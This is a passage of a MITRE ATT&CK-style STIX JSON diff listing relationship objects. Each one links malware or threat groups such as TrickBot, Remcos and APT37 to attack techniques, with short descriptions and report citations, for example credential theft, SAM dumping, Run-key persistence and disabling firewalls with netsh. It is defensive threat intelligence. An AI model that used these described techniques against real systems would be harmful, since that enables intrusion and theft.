base64-encoded.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--801f139f-1361-4d79-965e-078787f8ec36", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) uses HTTP for C2 communications.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--895fbe96-6990-4ebd-a192-1653eb31a1ba", + "external_references": [ + { + "source_name": "Unit 42 Bisonal July 2018", + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) has a command to delete a file.", + "type": "relationship", + "created": "2019-01-29T17:59:44.437Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ba8900d2-1a18-4f44-916d-08b93dc74d9c", + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "modified": "2019-04-16T20:55:20.154Z", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can add the binary\u2019s path to the Registry key Software\\Microsoft\\Windows\\CurrentVersion\\Run to add persistence.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--64d59c09-1ecd-4711-b2b8-e46d4ffc7ede", + "external_references": [ + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + } + ], + "modified": "2019-07-14T21:15:55.361Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ChChes](https://attack.mitre.org/software/S0144) steals credentials stored inside Internet Explorer.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9bc7f2ff-7ba1-42f4-9e96-2112e99ab12a", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remcos](https://attack.mitre.org/software/S0332) has a command to hide itself through injecting into another process.", + "type": "relationship", + "created": "2019-01-29T18:55:20.757Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--54e70260-cbf3-4c6b-bd30-208329cfef26", + "external_references": [ + { + "source_name": "Fortinet Remcos Feb 2017", + "description": "Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018.", + "url": "https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html" + } + ], + "modified": "2019-04-19T14:39:53.059Z", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) can launch a remote shell to execute commands on the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T19:18:28.633Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fcc2cf31-8567-4c2a-a7cf-7406da429ac2", + "external_references": [ + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "modified": "2019-06-04T19:40:43.613Z", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbon](https://attack.mitre.org/software/S0335) encrypts configuration files and tasks for the malware to complete using CAST-128 algorithm.", + "type": "relationship", + "created": "2019-01-29T19:36:02.820Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--aac99c91-e1b1-42c0-8a13-f166027d5168", + "external_references": [ + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + } + ], + "modified": "2019-04-12T14:43:22.644Z", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Epic](https://attack.mitre.org/software/S0091) searches for anti-malware services running on the victim\u2019s machine and terminates itself if it finds them.", + "type": "relationship", + "created": "2019-01-29T19:55:48.263Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d2f6e1bf-49ae-48cb-a919-b556f8cd0553", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "modified": "2019-07-26T16:10:42.950Z", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) sent spearphishing emails that contained malicious Microsoft Office attachments.", + "type": "relationship", + "created": "2019-01-29T20:17:49.311Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0be962d8-6281-4554-ad1f-4cba04c547de", + "external_references": [ + { + "source_name": "Unit 42 Tropic Trooper Nov 2016", + "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/" + }, + { + "source_name": "TrendMicro TropicTrooper 2015", + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf" + }, + { + "source_name": "CitizenLab Tropic Trooper Aug 2018", + "description": "Alexander, G., et al. (2018, August 8). Familiar Feeling: A Malware Campaign Targeting the Tibetan Diaspora Resurfaces. Retrieved June 17, 2019.", + "url": "https://citizenlab.ca/2018/08/familiar-feeling-a-malware-campaign-targeting-the-tibetan-diaspora-resurfaces/" + } + ], + "modified": "2019-06-30T22:44:28.214Z", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) can obtain information about running processes on the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--61fa303b-a9ff-419f-b3ac-96e43e37b6e5", + "external_references": [ + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can discover and collect victim system information.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e2e35a7a-3057-4955-9e7e-c3972e0ad423", + "external_references": [ + { + "source_name": "McAfee Netwire Mar 2015", + "description": "McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses the Windows API call, CreateProcessW(), to manage execution flow.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2af126e3-89ef-45b4-b345-45567ef17dfa", + "external_references": [ + { + "source_name": "S2 Grupo TrickBot June 2017", + "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" + } + ], + "modified": "2019-06-24T19:15:06.695Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "relationship_type": "uses", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SDelete](https://attack.mitre.org/software/S0195) is digitally signed by Microsoft.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c9e726b6-61c2-4b18-8770-126be9cd1870", + "external_references": [ + { + "source_name": "Microsoft SDelete July 2016", + "description": "Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018.", + "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete" + } + ], + "modified": "2019-04-24T00:37:08.750Z", + "source_ref": "tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some [Orz](https://attack.mitre.org/software/S0229) strings are base64 encoded, such as the embedded DLL known as MockDll.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fa6f0d89-8a80-421b-bcb1-ef5ee31f0879", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [JHUHUGIT](https://attack.mitre.org/software/S0044) variant encodes C2 POST data base64.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--27e7969b-a0bf-4db6-90bf-1f17c5e0c853", + "external_references": [ + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "modified": "2019-02-01T14:39:36.308Z", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) has the capability to gather the system\u2019s hostname and OS version.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--90355089-e793-4a6a-98b4-c1f20322a98f", + "external_references": [ + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remsec](https://attack.mitre.org/software/S0125) can dump the SAM database.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--852009ed-1b50-4b08-9e77-53f0271d995c", + "external_references": [ + { + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T14:25:53.644Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.050Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--067814b5-aa57-45e0-9bdf-5536b077c224", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The initial beacon packet for [S-Type](https://attack.mitre.org/software/S0085) contains the operating system version and file system of the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7fbb56bf-cadd-4663-8067-f233d4c9c751", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[jRAT](https://attack.mitre.org/software/S0283) can list security software, such as by using WMIC to identify anti-virus products installed on the victim\u2019s machine and to obtain firewall details.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8e685821-98a3-42a0-9c6a-334a8ff078d4", + "external_references": [ + { + "source_name": "jRAT Symantec Aug 2018", + "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques" + }, + { + "source_name": "Kaspersky Adwind Feb 2016", + "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf" + } + ], + "modified": "2019-06-24T17:20:24.377Z", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OwaAuth](https://attack.mitre.org/software/S0072) captures and DES-encrypts credentials before writing the username and password to a log file, C:\\log.txt.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--33caa1a2-8465-47b9-89c4-94f4e9a899c7", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:40:52.445Z", + "type": "relationship", + "id": "relationship--edbef2c6-4005-4fdb-b978-9699a7b2a309", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.024Z", + "source_ref": "course-of-action--57019a80-8523-46b6-be7d-f763a15a2cc6", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) decodes the configuration data and modules.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--af7c56df-ced8-45b7-9aef-be1039e30cea", + "external_references": [ + { + "source_name": "Fidelis TrickBot Oct 2016", + "description": "Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.", + "url": "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre" + } + ], + "modified": "2019-06-24T19:15:06.708Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Many strings in [JHUHUGIT](https://attack.mitre.org/software/S0044) are obfuscated with a XOR algorithm.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ae1ee1dc-6017-4177-b34c-70db166a939e", + "external_references": [ + { + "source_name": "F-Secure Sofacy 2015", + "description": "F-Secure. (2015, September 8). Sofacy Recycles Carberp and Metasploit Code. Retrieved August 3, 2016.", + "url": "https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/" + }, + { + "source_name": "ESET Sednit Part 1", + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + }, + { + "source_name": "Talos Seduploader Oct 2017", + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + } + ], + "modified": "2019-02-01T14:39:36.331Z", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[XTunnel](https://attack.mitre.org/software/S0117) is capable of probing the network for open ports.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a423dc5c-c506-4cc5-b65c-0c9269d18fb6", + "external_references": [ + { + "source_name": "Invincea XTunnel", + "description": "Belcher, P.. (2016, July 28). Tunnel of Gov: DNC Hack and the Russian XTunnel. Retrieved August 3, 2016.", + "url": "https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/" + } + ], + "modified": "2019-04-19T18:36:32.000Z", + "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab", + "relationship_type": "uses", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:31:54.172Z", + "type": "relationship", + "id": "relationship--29be2366-5ffb-4499-9984-525f76525326", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--548bf7ad-e19c-4d74-84bf-84ac4e57f505", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sykipot](https://attack.mitre.org/software/S0018) may use net view /domain to display hostnames of available systems on a network.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7fe49f05-8f96-4fc2-bc5b-b2eea59efca3", + "external_references": [ + { + "source_name": "AlienVault Sykipot 2011", + "description": "Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.", + "url": "https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has signed its malware with an invalid digital certificates listed as \u201cTencent Technology (Shenzhen) Company Limited.\u201d", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--490cc52d-1f6d-45d2-aa0e-2221264c0de0", + "external_references": [ + { + "source_name": "Securelist ScarCruft Jun 2016", + "description": "Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.", + "url": "https://securelist.com/operation-daybreak/75100/" + } + ], + "modified": "2019-07-08T14:33:16.151Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[netsh](https://attack.mitre.org/software/S0108) can be used to disable local firewall settings.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--512879fe-8433-4c78-9345-009ed5168078", + "external_references": [ + { + "source_name": "TechNet Netsh", + "description": "Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.", + "url": "https://technet.microsoft.com/library/bb490939.aspx" + }, + { + "source_name": "TechNet Netsh Firewall", + "description": "Microsoft. (2009, June 3). Netsh Commands for Windows Firewall. Retrieved April 20, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc771046(v=ws.10).aspx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T17:00:47.419Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6e763ef9-94cb-4244-bea8-86e6d19bfb71", + "external_references": [ + { + "source_name": "Proofpoint TA459 April 2017", + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + } + ], + "source_ref": "intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481", + "relationship_type": "uses", + "target_ref": 